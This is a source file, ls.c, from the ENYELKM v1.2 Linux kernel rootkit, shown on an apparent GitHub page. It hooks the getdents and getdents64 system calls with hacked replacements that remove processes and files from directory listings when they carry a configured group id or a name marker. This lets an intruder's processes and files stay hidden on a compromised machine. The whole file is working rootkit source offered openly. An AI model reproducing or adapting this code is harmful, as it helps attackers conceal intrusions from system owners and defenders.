-
-
Notifications
You must be signed in to change notification settings - Fork 31
/
ls.c
205 lines (151 loc) · 4.18 KB
/
ls.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
/*
* ENYELKM v1.2
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe && David Reguera
* < raise@enye-sec.org
* davidregar@yahoo.es
* http://www.enye-sec.org >
*/
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "config.h"
/* declaraciones externas */
extern asmlinkage long (*orig_getdents64)
(unsigned int fd, struct dirent64 *dirp, unsigned int count);
extern asmlinkage long (*orig_getdents)
(unsigned int fd, struct dirent *dirp, unsigned int count);
asmlinkage long hacked_getdents64
(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
struct dirent64 *td1, *td2;
long ret, tmp;
unsigned long hpid, nwarm;
short int mover_puntero, ocultar_proceso;
/* llamamos a la syscall original */
ret = (*orig_getdents64) (fd, dirp, count);
/* si vale cero retornamos */
if (!ret)
return(ret);
/* copiamos la lista al kernel space */
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
__copy_from_user(td2, dirp, ret);
/* inicializamos punteros y contadores */
td1 = td2, tmp = ret;
while (tmp > 0)
{
tmp -= td1->d_reclen;
mover_puntero = 1;
ocultar_proceso = 0;
hpid = 0;
hpid = simple_strtoul(td1->d_name, NULL, 10);
/* ocultacion de procesos */
if (hpid != 0)
{
struct task_struct *htask = current;
/* buscamos el pid */
do {
if(htask->pid == hpid)
break;
else
htask = next_task(htask);
} while (htask != current);
/* lo ocultamos */
if (((htask->pid == hpid) && (htask->gid == SGID)) ||
((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL)))
ocultar_proceso = 1;
}
/* ocultacion de ficheros/directorios */
if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL))
{
/* una entrada menos */
ret -= td1->d_reclen;
/* no moveremos el puntero al siguiente */
mover_puntero = 0;
if (tmp)
/* no es el ultimo */
memmove(td1, (char *) td1 + td1->d_reclen, tmp);
}
if ((tmp) && (mover_puntero))
td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
} /* fin while */
/* copiamos la lista al user space again */
nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2);
return(ret);
} /********** fin hacked_getdents64 *********/
asmlinkage long hacked_getdents
(unsigned int fd, struct dirent *dirp, unsigned int count)
{
struct dirent *td1, *td2;
long ret, tmp;
unsigned long hpid, nwarm;
short int mover_puntero, ocultar_proceso;
/* llamamos a la syscall original */
ret = (*orig_getdents) (fd, dirp, count);
/* si vale cero retornamos */
if (!ret)
return(ret);
/* copiamos la lista al kernel space */
td2 = (struct dirent *) kmalloc(ret, GFP_KERNEL);
__copy_from_user(td2, dirp, ret);
/* inicializamos punteros y contadores */
td1 = td2, tmp = ret;
while (tmp > 0)
{
tmp -= td1->d_reclen;
mover_puntero = 1;
ocultar_proceso = 0;
hpid = 0;
hpid = simple_strtoul(td1->d_name, NULL, 10);
/* ocultacion de procesos */
if (hpid != 0)
{
struct task_struct *htask = current;
/* buscamos el pid */
do {
if(htask->pid == hpid)
break;
else
htask = next_task(htask);
} while (htask != current);
/* lo ocultamos */
if (((htask->pid == hpid) && (htask->gid == SGID)) ||
((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL)))
ocultar_proceso = 1;
}
/* ocultacion de ficheros/directorios */
if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL))
{
/* una entrada menos */
ret -= td1->d_reclen;
/* no moveremos el puntero al siguiente */
mover_puntero = 0;
if (tmp)
/* no es el ultimo */
memmove(td1, (char *) td1 + td1->d_reclen, tmp);
}
if ((tmp) && (mover_puntero))
td1 = (struct dirent *) ((char *) td1 + td1->d_reclen);
} /* fin while */
/* copiamos la lista al user space again */
nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2);
return(ret);
} /********** fin hacked_getdents **********/
/* EOF */